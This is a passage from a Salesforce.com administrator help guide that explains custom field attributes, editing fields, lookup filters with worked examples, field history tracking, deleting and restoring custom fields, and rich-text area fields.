for reports. For help on building formulas, see Building Formulas on page
497.
Help Text The text that displays in the field-level help hover text for this field.
Label Name of the custom field as you want it to appear.
Length (for text fields) For text fields, the maximum number of characters that a user can enter in
a field (up to 255 characters).
Length (for number, currency, percent fields) For number, currency, and percent fields, the number of digits you can enter
to the left of the decimal point, for example, 123.98 for an entry of 3.
Mask Character For encrypted text fields, determines the character to use for hidden
characters. Available options are * and X.

446
Customize Creating Custom Fields

Field Description
Mask Type For encrypted text fields, determines which characters are hidden and the
use of dashes in the field. Masked characters are hidden using the character
selected in Mask Character. Available options are:
Mask All Characters
All characters in the field are hidden.
Last Four Characters Clear
All characters are hidden but the last four display.
Credit Card Number
The first 12 characters are hidden and the last four display.
Salesforce.com automatically inserts a dash after every fourth character.
National Insurance Number
All characters are hidden. Salesforce.com automatically inserts spaces
after each pair of characters if the field contains nine characters. Use
this option for UK NINO fields.
Social Security Number
The first five characters are hidden and the last four display.
Salesforce.com automatically inserts a dash after the third and fifth
characters.
Social Insurance Number
All characters are hidden but the last three display. Salesforce.com
automatically inserts a dash after the third and sixth characters.

Master Object The object on the master side of a master-detail relationship used to display
the value of a roll-up summary field.
Related List Label For relationship fields, the title for the related list that displays associated
records on the parent record.
Related To For relationship fields, the name of the associated object.
Required Makes the field required everywhere in Salesforce.com.
You must specify a default value for required campaign member custom
fields.
Default values should not be assigned to fields that are both required and
unique, as uniqueness errors may result. .See About Universally Required
Fields on page 542.

Roll-Up Type For roll-up summary fields, choose the type of calculation to make:

Type Description
COUNT Totals the number of related records.

447
Customize Creating Custom Fields

Field Description

Type Description
SUM Totals the values in the field you select in the Field to
Aggregate option. Only number, currency, and percent fields
are available.
MIN Displays the lowest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.
MAX Displays the highest value of the field you select in the Field
to Aggregate option for all directly-related records. Only
number, currency, percent, date, and date/time fields are
available.

Starting Number
For auto-number fields, enter a Starting Number that is less than 1
billion. Check Generate Auto Number for existing records...
if you would like to automatically number all current records beginning with
the starting number you enter. If unchecked, the next record you enter will
be assigned the starting number and your existing records will be blank in
this field. For leads, only unconverted leads will be assigned a number.
An auto-number field can contain up to 10 digits and up to 20 additional
characters for your prefix or suffix.

Sharing Setting For master-detail relationship fields, the Sharing Setting attribute
determines the sharing access that users must have to a master record in
order to create, edit, or delete its associated detail records.
Summarized Object The object on the detail side of a master-detail relationship used to provide
the values calculated in a roll-up summary field.
Unique If checked, prevents duplicate field values.
For text fields, you can control whether values that are identical except for
their case are considered unique. Select Treat "ABC" and "abc" as
duplicate values to enforce case-insensitive uniqueness, or select
Treat "ABC" and "abc" as different values to enforce
case-sensitive uniqueness.
Note: Custom fields marked as Unique count against an object's
limit of three External ID fields.

Values For picklist fields, a list of available values (up to 255 characters for each
value). For picklists, select the appropriate checkbox to alphabetize the
picklist entries. You can also set the first value as the default selection. If
you mark both boxes, Salesforce.com first alphabetizes the entries and then

448
Customize Creating Custom Fields

Field Description
sets the first alphabetized value as the default. For multi-select picklists,
enter a list of values, check the sorting options that apply, and enter how
many values you want displayed at a time on edit pages, which determines
the box height.

Auto-Number Formatting Examples


Use these examples when setting the display format for auto-number fields.

Format Displayed Values


{0} 3 66 103
{000} 003 066 103
Lead- {00000} Lead- 00003 Lead- 00666 Lead- 10023
Campaign- {00} {MM} {DD} {YY} Campaign- 03 120204 Campaign- 76 030304 Campaign-
123 110904
PO #{0} {MM}-{DD}-{YY} PO #12233 12-20-04 PO #25 06-07-04 PO #3 07-07-04

See Also:
Creating a Many-to-Many Relationship

Editing Fields
Available in: All Editions

User Permissions Needed


To create or change fields: “Customize Application”

To edit a field:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Edit next to the field’s name.
4. Modify the field attributes. The attributes differ depending on the field type.
To change the type of your custom field, see Changing Custom Field Type on page 603.
To make changes to picklists:

• Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or
change additional information.

449
Customize Creating Custom Fields

• Click Del next to a value to remove it from the picklist.


Special picklists—such as opportunity Stage, Task Priority, Task Status, Lead Status, and Case
Status—may prompt you to map the deleted value to another existing value in all of your organization’s records. You
can map the values or leave your existing data unchanged.
• Click New to add values to the picklist. If you use record types, select any record types that you want to include the
new values.
Note: In a managed package, if the developer adds new picklist values, they are added to the subscriber's
organization on install and upgrade.

• Click Reorder to change the sequence of picklist values.


• Click Replace to change the values of picklist fields in existing records.
• Click Printable View to open an easy-to-print list of your picklist values.
• Click Chart Colors and select an option to assign colors to picklist values for use in charts:

- Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
- Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
“Assigned dynamically” for all colors. Assign fixed colors by editing picklist values. For example, if you only need
certain picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest
as “Assigned dynamically.”

Manual assignments are overridden each time you click an option in Chart Colors.
Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
and Opportunity Competitor picklists.

5. Optionally, define custom help text for the field.


6. For lookup and master-detail relationship fields, optionally define a lookup filter on page 451.
7. For formula fields, click Next to modify the formula. See Building Formulas on page 497.
8. In Enterprise, Unlimited, and Developer Editions, click Next to set the field-level security for the field. See Setting
Field-Level Security on page 217.
9. Click Save.

Note: Editing fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.
To customize the way a custom object’s related list appears on a parent record’s detail page, edit the parent record’s
page layout. For example, if you want to edit which fields appear on a custom object’s related list on accounts, you
would edit the account page layout.

450
Customize Creating Custom Fields

You cannot change the Field Name if a custom field is referenced in an Apex script. For more information, see
Force.com Apex Code Overview on page 964.

See Also:
Changing Custom Field Type
Setting Field-Level Security
Additional Custom Field Options
Additional Options for Updating Picklists
Universally Required Field Considerations
Defining Default Field Values
About Universally Required Fields
Managing Deleted Custom Fields

About Lookup Filters


Available in: All Editions

User Permissions Needed


To manage lookup filters: “Customize Application”

Note: This release contains a beta version of lookup filters that is production-quality but has known limitations. The
most significant limitation is the inability to create a dependent lookup filter. That is, you cannot create a lookup filter
that relies on values on the record to restrict the values available in a lookup field. For example, you cannot restrict the
lookup results of the case Contact field based on the case Account field.
Click the IdeaExchange link in the top banner of the lookup filters Edit page to provide feedback and suggestions for
this feature.

Lookup filters are administrator settings on lookup, master-detail, and hierarchical relationship fields that restrict the valid
values and lookup dialog results for the field. The restrictions for the field are based on criteria such as a field on the lookup
object or the user's profile. If a user manually types an invalid value in the field when editing a record and clicks Save,
Salesforce.com blocks the save and displays an error message. Administrators can customize the error message.
Lookup filters improve user productivity and ensure data quality. For example, restrict the Account Name lookup field on
opportunities to only allow accounts with a record type of Customer, filtering out Partners and Competitors. Or, if you have
a custom relationship field that references accounts and your organization has numerous inactive accounts, restrict users to
choosing active accounts only.
Each object can have up to five active lookup filters. You can add lookup filters on relationship fields that point to accounts,
contacts, users, and custom objects, with the following exceptions:

• Relationship fields on activities


• System fields that are always read only, such as Created By and Modified By
• Relationship fields that support queues, such as Case Owner, Lead Owner, and Delegated Approver

451
Customize Creating Custom Fields

Beta Limitations
• Lookup filters cannot restrict the lookup dialog results and valid values based on fields on the source object. For example,
you cannot restrict the lookup results of the case Contact field based on the case Account field.
• You cannot define lookup filters in the custom field wizard. To add a lookup filter to a new custom field, first create the
field, then edit that field to add the filter criteria.
• Lookup filters are available in the Metadata API but are not available in the Force.com IDE.

Best Practices
• Add custom help text to the field to let users know about the business rule that the lookup filter enforces. For example,
Only active accounts can be associated to opportunities.
• Customize the lookup filter error message to guide users who manually enter invalid values. For example, Value does
not exist or is not an active account.
• Use the translation workbench to translate lookup filter custom error messages if your organization uses multiple languages.
• Use Current User Profile: Name in the filter criteria to define different filter criteria for different users, or to give
administrators the ability to enter values that do not match the filter criteria. See Lookup Filter Examples on page 455.
• Test lookup filters to ensure they are enforcing your business rule without being too restrictive.
• When creating lookup filters, remember that some relationship fields may be read only to users with certain profiles. Make
sure that the lookup filters you create do not prevent such users from editing records that are critical to their job functions.
• Fields in lookup filter criteria that are not required might be blank, so consider whether or not to allow blank values. To
accommodate blank values, use the Advanced Options to define the criteria to include blank values. For example, if you
want the Email Address field on contacts to only include people from your company but you want to allow for the
possibility that the email address is blank, use the following lookup filter criteria:
1. Email contains Acme
2. Email equals
Leave the value empty for the second line in the criteria, and set the advanced filter conditions to 1 OR 2.

Implementation Notes
• Filter criteria can include fields from both the lookup object and objects directly related to the lookup object (one level
only). For example, a lookup filter on a lookup field pointing to contacts can reference fields on:
- Accounts related to the contact via the Account Name relationship field
- Contacts related to the contact via the Reports To relationship field
Each field that a lookup filter reference on the related lookup object counts against the cross-object reference limit of the
lookup object, not the source object. For example, the two unique relationships described above count against the cross-object
reference limit for the Contact object.
• Salesforce.com displays a funnel icon in the Data Type column on the Fields page next to relationship fields that have an
active lookup filter.
• The lookup filters you create in Salesforce.com also appear in the partner portal and Customer Portal.
• Lookup filters are case-sensitive.
• If you create a lookup filter that makes an existing value for that field invalid, the value persists; however, when a user edits
the record, Salesforce.com does not save the user's changes unless the user changes the invalid value.
• If your organization uses person accounts, note the following:
- Lookup filter criteria on Account Name only applies to business accounts; it does not apply to person accounts. For
example, if your lookup filter criteria is Account Name does not contain book, business accounts with "book"
in the name, such as John's Bookstore, are not valid, but person accounts with “book” in the name, such as John Booker,
are still valid values and appear in the lookup dialog for the Account field. If you need to filter on the name for a
person account, use the First Name or Last Name fields instead.

452
Customize Creating Custom Fields

- Use the Is Person Account field in your lookup filter criteria to restrict the valid values of a lookup field to one
type of account (either person accounts or only business accounts). For example, to restrict a lookup to only person
accounts, include the following in your lookup filter criteria: Is Person Account equals True.
- You cannot package lookup filters that reference standard fields that are specific to person accounts, such as the Email
and Title fields.

• Lookup filters function similarly to validation rules when you save a record. That is, actions that cause related records to
save, such as changes to a roll-up summary fields, also trigger the lookup filters on the related record and block the save.
• If you define a lookup filter on the Owner field, that filter is only enforced when the record is created and when the Owner
is changed. It is not enforced when the record is edited.
• Salesforce.com ignores lookup filters when converting leads if the Enforce Validation and Triggers from Lead
Convert checkbox on the Lead Settings page is deselected.
• Versions 16.0 and higher of the Salesforce.com API support lookup filters. Lookup filters are enforced when you load data
through the API.
• Lookup filters on currency fields do not convert currencies. For example, if your organization uses multiple currencies and
a lookup filter criteria is Expected Revenue greater than 100000, the lookup shows any account record on which the
Expected Revenue field is set to a value greater than 100,000, regardless of the currency.
• You cannot use special date values, such as “Today” or “This Month,” in lookup filter criteria.
• You cannot delete fields that are referenced in an active lookup filter.
• You cannot change the field type of fields referenced by an active lookup filter.
• If you configure a lookup filter to show inactive users only, the relationship field has no valid options because inactive users
are never valid for relationship fields that point to the User object.

See Also:
Managing Lookup Filters
Lookup Filter Examples
About Formulas
Building Formulas
Editing Fields
Operators and Functions

Managing Lookup Filters

Available in: All Editions

User Permissions Needed


To manage lookup filters: "Customize Application"

To manage lookup filters:

• Define lookup filters on lookup, master-detail, and hierarchical relationship fields, such as the standard Manager field on
the User object.
• Disable lookup filters that you currently do not want to use but might need again in the future.
• Delete lookup filters that you never want to use again.

453
Customize Creating Custom Fields

Defining Lookup Filters


To define a lookup filter:
1. Navigate to the fields area of the object that contains the lookup field:
• For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click
Fields.
• For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.

2. Click Edit next to the name of the lookup or master-detail relationship field to which you want to apply the filter.
3. In the Lookup Filter Options section, select Use filter criteria to limit valid records for this field.
4. Specify the filter criteria a record must meet to be a valid value for this field. To specify fields in the filter criteria, click the
lookup icon or type in the Field column. If you type in the Field column, Salesforce.com searches the list of available fields
and lists fields that match.
Note: The Field column only allows fields that are on one of the following:
• The lookup object (the object to which the lookup field points)
• A parent object of the lookup object
• The current user's record
• The current user's profile
• The current user's role

5. To specify advanced filter conditions, click the Advanced Options link. See Working with Advanced Filter Conditions
on page 1920 for more information.
6. Specify whether you want Salesforce.com to display the standard error message or a custom message if a user enters an
invalid value. If you choose to display a custom error message, enter the message in the text field below that option.
7. Click Save.
Important: When creating a lookup filter on a master-detail relationship field, verify that the current values of the
field on all of the detail records meet the criteria you specify. If you specify criteria that an existing value does not
meet, Salesforce.com prevents the user from saving changes to the detail record. If this occurs, the user must first
modify the value on the master record to meet the criteria. For example, consider a custom object with a master-detail
relationship field that points to accounts. If you define a lookup filter that excludes all accounts with a Create Date
less than 01/01/2009, verify that no existing records of that custom object have a master-detail relationship with any
account created before 2009. A quick way to do this is to create a report that shows all accounts with a Create Date
less than 01/01/2009.

Deactivating Lookup Filters


Deactivating a lookup filter preserves its configuration but prevents it from applying to the relationship field, prevents it from
impacting the cross-object references limit, and removes it as a dependency for fields referenced in the lookup filter criteria.
1. Navigate to the fields area of the object that contains the lookup field.
2. Edit the relationship field.
3. Select the All records are valid and included in the lookup dialog radio button in the Lookup Filter options section.
4. Click Save.

Deleting Lookup Filters


Deleting a lookup filter permanently removes it:
1. Navigate to the fields area of the object that contains the lookup field.
2. Edit the relationship field.
3. Click Clear Filter Criteria.

454
Customize Creating Custom Fields

4. Select All records are valid and included in the lookup dialog.
5. Click Save.

See Also:
About Lookup Filters
Lookup Filter Examples
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Lookup Filter Examples

Available in: All Editions

User Permissions Needed


To define lookup filters: "Customize Application"

Filtering on Record Types


If the value of a relationship field should only consist of records with a particular record type, specify the record type in a
lookup filter. For example, if the Account Name field on opportunities should only have accounts with a Customer Account
custom record type, define the following lookup filter to restrict users to only creating or editing opportunities associated with
accounts that have a Customer Account record type, excluding accounts with Partner Account and Competitor Account record
types:

Filter Criteria
1. Account Record Type equals Customer Account

Custom Error Message Account does not exist or is not a customer account. Click the
lookup icon to select a valid account.

Filtering on Record Status


If the value of a relationship field should only consist of records with particular status, specify the status in a lookup filter. For
example, consider a Job Application object with a relationship field that points to the Position object. If the relationship
field should only have open positions, define the following lookup filter to restrict users to only creating or editing job applications
for positions with the Status field set to Open:

Filter Criteria
1. Status equals Open

Custom Error Message Position does not exist or is not an open position. Click the
lookup icon to select a valid position.

Filtering on Profiles
When a business rule does not apply to users with every profile, use the Current User Profile global variable fields to
define lookup filters that only affect users with a particular profile.

455
Customize Creating Custom Fields

For example, the following lookup filter on the Case object Account Name field restricts users with a “Domestic Sales” profile
to only creating or editing cases associated with accounts that have a billing country of “USA” while allowing other users to
associate cases with any account:

Filter Criteria
1. Current User Profile: Name equals Domestic Sales
2. Billing Country equals USA
3. Current User Profile: Name not equal to Domestic
Sales

Advanced Criteria (1 AND 2) OR 3

Custom Error Message Account does not exist or the account billing country is not
USA. Domestic sales reps can only create cases for accounts
in the United States. Click the lookup icon to select a valid
account.

You can modify the above example to simultaneously restrict users with a “Global Sales” custom profile to only associating
cases to accounts with a non-US billing country:

Filter Criteria
1. Current User Profile: Name equals Global Sales
2. Billing Country does not equal USA
3. Current User Profile: Name equals Domestic Sales
4. Billing Country equals USA
5. Current User Profile: Name not equal to Global
Sales, Domestic Sales

Advanced Criteria (1 AND 2) OR (3 AND 4) OR 5

Custom Error Message Account does not exist or the account billing country is not
in your sales area. Sales reps can only create cases for accounts
in their sales area. Click the lookup icon to select a valid
account.

Filtering on Roles
When a business rule does not apply to users in every role, use the Current User Role global variable fields to define
lookup filters that only affect users with particular roles. For example, in a recruiting application that has a Position object
with a lookup field to a Compensation Package object, you can restrict users from editing or creating positions that have an
executive compensation plan unless they are executive administrators or vice presidents. To do this, define the following lookup
filter on the Position object Compensation Package Name field:

Filter Criteria
1. Current User Role: Name does not start with VP
2. Current User Role: Name does not equal Executive
Administrator
3. Plan Type does not equal Executive
4. Current User Role: Name does start with VP
5. Current User Role: Name equals Executive Administrator

456
Customize Creating Custom Fields

Advanced Criteria ((1 OR 2) AND 3) OR (4 OR 5)

Custom Error Message The compensation plan does not exist, or you have selected
an executive compensation plan but do not have access to
create executive positions. Click the lookup icon to select a
valid compensation plan.

See Also:
About Lookup Filters
Managing Lookup Filters
Editing Fields
Tip sheet: Creating Lookup Filters on Relationship Fields

Tracking Field History


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set up which fields are tracked: “Customize Application”

You can select certain standard and custom fields to track on the History related list of accounts, cases, contacts, contracts,
leads, opportunities, solutions, and custom objects. Any time a user modifies any of the standard or custom fields whose history
is set to be tracked, a new entry is added to the History related list. All entries include the date, time, nature of the change,
and who made the change. History data does not count against your organization’s storage limit. Note that not all fields types
are available for history tracking. For details, see Notes on History Tracking on page 458.
For more information on tracking field history, see the following:

• Tracking Field History for Accounts, Cases, Contacts, Contracts, Leads, Opportunities, and Solutions
• Tracking Field History for Custom Objects
• Notes on History Tracking

Tracking Field History for Accounts, Cases, Contacts, Contracts, Leads, Opportunities, and Solutions
To track field history for accounts, cases, contacts, contracts, leads, opportunities, and solutions:
1. Click Setup ➤ Customize and select the object you want to configure for field history tracking.
2. Click Fields.
3. Click Set History Tracking.

• For accounts, contacts, leads, and opportunities, select the Enable Account History, Enable Contact History,
Enable Lead History, or Enable Opportunity Field History checkbox. Deselect the checkbox if you do
not want to track any changes. If you deselect the checkbox, the History related list is automatically removed from
associated page layouts.

457
Customize Creating Custom Fields

This checkbox is not available for cases, solutions, or contracts because you cannot disable history tracking for these
objects. Certain changes, such as case escalation, are always tracked.
• When you choose the fields you want to track, Salesforce.com begins tracking history from that date and time forward.
Changes made before that date and time are not included in the history. Note that some case, solution, and contract
fields are preselected for history tracking so changes to those fields are automatically tracked from the time your
organization began using Salesforce.com.

4. Choose the fields you want tracked in the History related list of the record detail page.
5. Click Save.

Tracking Field History for Custom Objects


To track field history for custom objects:
1. Click Setup ➤ Create ➤ Objects and click Edit next to the name of the custom object whose history you want to track.
2. Select the Track Field History checkbox. Deselect the checkbox if you do not want to track any changes. If you
deselect the checkbox, the History related list is automatically removed from the custom object's page layouts.
3. Click Save.
4. Select the name of the custom object.
5. Click Set History Tracking in the Custom Fields & Relationships section. This section allows you to set history tracking
for both standard and custom fields on custom objects.
When you choose the fields you want to track, Salesforce.com begins tracking history from that date and time forward.
Changes made before that date and time are not included in the history.
If you deselected the Track Field History checkbox, the Set History Tracking button does not display.
6. Choose the fields you want tracked in the History related list of the record detail page.
7. Click Save.

Notes on History Tracking


• When you enable history tracking for an object, be sure to customize your page layouts to include the history related list
for the object. For more information, see Customizing Page Layouts on page 620.
• You can select a combination of up to 20 standard and custom fields per object.
• You cannot track the following fields:
- You cannot track the history of formula, roll-up summary fields, or auto-number fields.
- You cannot track the Created By and Last Modified By fields.
- You cannot customize which opportunity fields are tracked in the Stage History related list on opportunities. However,
you can choose which opportunity fields are tracked in the Opportunity Field History related list on opportunities.
- You cannot track the Expected Revenue field on opportunities.
- You cannot track the Master Solution Title or the Master Solution Details fields on solutions. These
fields display only for translated solutions in organizations with multilingual solutions enabled.

• You cannot customize the History related list because data is not stored in it. The History related list links to data stored
elsewhere.
• Changes to fields with more than 255 characters are tracked as edited and their old and new values are not recorded. For
example, changes to long text area fields are tracked as edited.
• Tracked field values are not automatically translated; they display in the language in which they were made. For example,
if a field value is changed from Green to Verde, Verde is displayed no matter what a user's language is, unless the field
value has been translated into other languages via the translation workbench. This applies to record types and picklist values
as well.

458
Customize Creating Custom Fields

• Changes to date fields, number fields, and standard field labels are shown in the locale of the user viewing the History
related list. For example, a date change to August 8, 2005 shows as 8/5/2005 for a user with the English (United States)
locale and as 5/8/2005 for user with the English (United Kingdom) locale.
• Changes to custom field labels that have been translated via the translation workbench are shown in the locale of the user
viewing the History related list. For example, if a custom field label is Red and translated into Spanish as Rojo, then a
user with a Spanish locale will see the custom field label as Rojo. Otherwise, the user would see the custom field label as
Red.
• Changes to the Amount and Quantity fields on opportunities are tracked even when the field is updated as the result of
a change to an opportunity's products or schedules.
• Changes to the Closed When Created field on cases are only tracked when the field is updated via the Force.com API.
• Field updates are tracked in the History related list if you have set history tracking on those fields.
• When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
• If you disable field history tracking on a custom object, then you cannot report on the field history for that custom object.
• If you disable field history tracking on an object, you can still report on the history data up to the date and time you disabled
field history tracking.
• You can report on activated contracts whose fields are set to tracked by clicking New Custom Report on the Reports tab,
selecting Contract Reports as the data type, and choosing Contract History.
• You cannot disable field history tracking for an object if a field on the object is referenced in an Apex script. For more
information, see Force.com Apex Code Overview on page 964.
• If you use both business accounts and person accounts, review the following before enabling account field history tracking:
- Field history tracking for accounts affects both business accounts and person accounts.
- A maximum of 20 account fields can be tracked. This limit includes fields on person accounts and business accounts.
- Enabling field history tracking on person accounts does not enable field history tracking on personal contacts.
- To report on person account history, run the Account History report.

• If the parent record in a lookup relationship is deleted, the field history tracking for the child record does not record the
deletion. For example, if a parent account is deleted, the Account History related list for the child account does not show
the deletion.

See Also:
Case History
Solution History
Contract History
Creating Custom Fields
Deleting Fields

Viewing Fields
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

To view the details for a custom or standard field:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. For custom settings, click Setup ➤ Develop ➤ Custom Settings, and click the name of the custom setting.

459
Customize Creating Custom Fields

4. Click the name of the field.


5. From the field detail page, you can:

• Click Edit to modify a custom field or change the custom field's data type. See Changing Custom Field Type on page
603.
• Click Set Field-Level Security to set users' access to the field. Available in Enterprise, Unlimited, and Developer
Edition organizations only.
• Click View Field Accessibility to view who can access the field based on profile and record type. Available in Enterprise,
Unlimited, and Developer Edition organizations only.
• If the field can have dependent fields, view a list of field dependencies. Click New to define a dependency for the field.
Click Edit to change the dependency rules or Del to remove the dependency entirely. For information on field
dependencies, see Defining Field Dependencies on page 429.
• If the custom field is a dependent field, click [Change] next to the controlling field to edit the dependency rules. For
information on field dependencies, see Defining Field Dependencies on page 429.
• Click New in the Validation Rules related list to create a new validation rule for the field. Click Edit to change a
validation rule or Del to remove it. See Defining Validation Rules on page 510.
• For picklist fields, you can add new values and edit, replace, or delete existing values. See Additional Options for
Updating Picklists on page 424.
• To change (External ID), Required, or other attributes under the General Options section, see Custom Field
Attributes on page 445.
• Click Undelete to restore the field and its data. This is only available if the field has been deleted but not permanently
erased. The field's behavior may be different after restoring it. To restore the field completely, see Managing Deleted
Custom Fields on page 462.

Note: If your organization uses person accounts, the Account Fields page lists both person account and business
account fields.
Person accounts use a combination of account and contact fields. The following contact fields are available for person
accounts:

• Fields in the Account Standard Fields list that display with a person account icon.
• Fields in the Contact Custom Fields & Relationships list.

These contact fields are not available for business accounts. To customize these fields, go to Setup ➤ Customize ➤
Contacts ➤ Fields.
For more information, see What is a Person Account? on page 1125.

See Also:
Customizing Fields
Custom Settings Overview

460
Customize Creating Custom Fields

Deleting Fields
Available in: All Editions

User Permissions Needed


To delete custom fields: “Customize Application”

To delete a custom field:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Del next to the name of the field.
4. When prompted, select the Yes, I want to delete the custom field checkbox to confirm, and click Delete.
Salesforce.com stores deleted custom fields and their data until your organization permanently deletes them or 45 days has
elapsed, whichever happens first. Until that time, you can restore the field and its data. For information on restoring deleted
custom fields and relationships, see Managing Deleted Custom Fields on page 462.

Note:

• Before deleting a custom field, consider where it is referenced. Salesforce.com prevents you from deleting a custom
field that is referenced elsewhere. For example, you cannot delete a custom field that is referenced by a field update
or an Apex script.
• When you delete a custom field, all of the field history data is deleted and changes are no longer tracked.
• Salesforce.com periodically runs a background process that cleans up metadata associated with deleted custom
fields. This process will affect the Last Modified Date and Last Modified By fields on page layouts, record
types, and custom objects.

See Also:
Tracking Field History

461
Customize Creating Custom Fields

Managing Deleted Custom Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To restore deleted custom fields and relationships: “Customize Application”
To permanently delete custom fields or relationships: “Customize Application”

Salesforce.com stores deleted custom fields and their data until your organization permanently deletes them or 45 days has
elapsed, whichever happens first. Until that time, you can restore the field and its data. However, the field still counts against
the maximum number of custom fields allowed in your organization. To view a list of the maximum number of custom fields
and relationships allowed in your organization, see Salesforce.com Editions and Limits on page 1007.
To view a list of your deleted custom fields and relationships:

1. For standard objects, click Setup ➤ Customize, select the appropriate object from the Customize menu, and click Fields.
2. For custom objects, click Setup ➤ Create ➤ Objects, and select one of the custom objects in the list.
3. Click Deleted Fields at the bottom of the list of custom fields and relationships. The number in parentheses indicates the
total number of deleted custom fields for this object. This link only displays when you have a deleted custom field.
4. Use the list of deleted fields to perform the following actions:

• To view details about a field, click the field label.


• To permanently remove the custom field and its data, click Erase.
• To restore the field and its data, click Undelete. Some attributes of deleted fields are not restored automatically. To
restore these attributes manually:

a. Add the field to any page layouts that changed during the time the custom field was deleted. If reports and page
layouts were not edited, the restored field remains on them.
b. Make the field unique if necessary. Salesforce.com automatically removes the unique attribute from any deleted
custom field.
c. Make the field required if necessary. Salesforce.com automatically removes the required attribute for any deleted
custom field.
d. Add the custom field to any appropriate Force.com AppExchange packages. Salesforce.com automatically removes
deleted custom fields from packages that contain them.
e. Convert any lookup relationships to master-detail relationships if necessary. Salesforce.com converts all relationships
to lookup relationships when they are deleted. To convert a lookup relationship to a master-detail relationship,
populate all the applicable records with the appropriate data.
f. Redefine any field dependencies that Salesforce.com removed when the field was deleted.
g. Edit and save any formula fields, prompting a syntax check that you may have to resolve.
h. Set up field history tracking if necessary. If the list of fields enabled for history tracking has been modified during
the time the custom field was deleted, the restored field is no longer set up to track field history.

462
Customize Creating Custom Fields

Notes on Restored Custom Fields


• Salesforce.com appends the following characters to the end of a custom field's developer name when it is deleted unless a
deleted field already has that developer name: “_del.” These characters remain when you restore the custom field.
• Formula fields are restored in a disabled state, which means they do not contain updated data until you edit and save them.
While a formula field is disabled, “#Error!” displays in place of the formula value.
• Restored fields do not display in search results immediately after you restore them. It may take a short time before the
restored custom field and its data is available in search results.
• Lead fields that are mapped to account, contact, or opportunity fields for lead conversion are still mapped accordingly
when restored.
• Auto number fields continue to increment after they are deleted and contain the correct values when restored.
• Field history data for the deleted custom field is restored.

Additional Custom Field Options


Changing Page Layouts
To change the location of a new custom field, edit the page layout for the appropriate tab. See Managing Page Layouts
on page 618.

Using Record Types


If your organization uses record types, edit the record type to modify which picklist values are visible for the record type.
See Managing Record Types on page 611.

Tracking Custom Field History


You can select which custom fields to track on the History related list of cases, solutions, and contracts. All entries
include the date, time, nature of the change, and who made the change. History data does not count against your
organization’s storage limit. See Tracking Field History on page 457.

Using Translation Workbench


If your organization uses the translation workbench, notify your translators that new fields need translations. For more
information, see Setting Up Translation Workbench on page 121.

Activity Custom Fields


Activity custom fields can apply only to tasks or only to events, or to both tasks and events. For example, you can create
one Time Spent field and then add it to both the event page layout and the task page layout.

Mapping Custom Lead Fields


For lead custom fields, you can click Map Lead Fields to specify which custom lead fields to map to custom account,
contact, and opportunity fields during a lead conversion. See Mapping Custom Lead Fields on page 669.

See Also:
Changing Custom Field Type

463
Customize Creating Custom Fields

Using Rich-Text Area Fields


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: "Customize Application"

Note: Rich Text Area fields are only available for Salesforce Knowledge articles.

To improve the appearance of text in your article, define custom fields with the rich-text area custom field type. These custom
fields support formatted HTML content. When you edit an article, use the Salesforce.com HTML editor on page 464 to
format the Rich Text Area fields.

Tips on Using Rich-Text Area Fields


Before you create a rich-text area custom field, note the following:
• The steps to add a custom field are described in the Adding Custom Fields to Article Types on page 1656 topic.
• Salesforce.com supports up to 32,000 characters for each rich-text area field, including the HTML tags. If desired, you
can set a lower limit.
• When you view or print an article, Salesforce.com preserves the formatted version of the HTML in rich-text area fields.
• Converting a rich-text area field to another custom field type can result in lost data, or truncated data and the loss of prior
formatting, depending on the new data type.
• Converting a field to a rich-text area field results in unformatted HTML text.
• Searches of articles that contain rich-text area fields ignore images and tags.
• During an export to an Excel spreadsheet, rich-text area field data is written as text, up to the first 255 characters.
• Deleting a rich-text area field moves it to the Deleted Fields section on the article-type detail page.
• You cannot convert rich-text area fields into any other data type.

Using the HTML Editor


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or change custom fields: "Customize Application"

Note: The HTML Editor for Rich Text Area fields is only available for Salesforce Knowledge article types.

464
Customize Creating Custom Fields

To improve the appearance of text in articles, use the Salesforce.com HTML editor to format custom fields that were defined
with the rich-text-area custom field type. The Salesforce.com HTML editor provides a WYSIWYG interface, allowing you
to perform basic formatting operations. You can:

• Format text as bold, italicized, or underlined


• Create bulleted and numbered lists
• Change paragraph indentation
• Insert hyperlinks to Web pages
• Insert an image

Common scenarios include:

• Formatting resumes submitted by job candidates to create more readable and professional-looking versions for your users
• Emphasizing key points in a Description or Comments field by setting various font options, such as bold typeface and a
larger font size
• Itemizing steps in a numbered or bulleted list to help users better understand a procedure
• Supporting your company's brand identity by specifying the URL of a logo on your website
• Including a link to a related and accessible page of your company's website

Notes on Using the Salesforce.com HTML Editor


When you use the editor, note the following:
• Because the Salesforce.com HTML editor provides a WYSIWYG interface only, you do not edit HTML tags.
• If you copy content from a Web page and paste it into the editor's window, Salesforce.com automatically removes
unsupported tags and may preserve the text that was enclosed in unsupported tags as plain text. Note that Salesforce.com
